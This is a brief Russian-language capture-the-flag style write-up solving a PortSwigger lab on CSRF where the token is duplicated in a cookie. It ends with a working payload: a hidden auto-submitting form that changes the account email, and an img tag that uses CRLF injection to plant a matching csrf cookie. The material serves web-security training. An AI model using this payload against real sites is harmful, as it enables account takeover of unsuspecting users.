На странице
apsyleg1 мин
#portswigger #csrf #crlf-injection #web-security

CSRF с токеном, продублированным в куки

Лаборатория

CSRF where token is duplicated in cookie · Practitioner

Решение

Дано: есть эксплоит-сервер и уязвимое приложение, в котором мы хотим поменять пароль у текущего пользователя, обойдя CSRF-защиту.

Окей, посмотрим, как происходит изменение пароля. Наблюдаем, что csrf дублируется в теле запроса и в куки.

Куки:

csrf=nt0nPbB6pgJTiVTFJeOZqPuOi7sdt3kf; session=FZB4InscWA9YK1iChehZ73tFUts8fZGW

В теле — nt0nPbB6pgJTiVTFJeOZqPuOi7sdt3kf. Совпадают, дублируются.

Попробуем отправить запрос, где вместо токена в оба места напишем xxx. Смена пароля происходит успешно. Похоже, мы можем переиспользовать пэйлоад из предыдущей лабы CSRF where token is tied to non-session cookie.

Только в этот раз просто ставим любые одинаковые значения и в куки пишем значения для csrf, а не csrfKey.

<form id="csrf" action="https://0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net/my-account/change-email" method="POST">
    <input name="email" value="wr3dmast3r@m.com">
    <input name="csrf" value="xxx">
</form>

<img src="https://0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrf=xxx%3B%20path=%2F%3B%20SameSite=None%3B%20Secure" onerror="document.getElementById('csrf').submit()">

Лаба решена.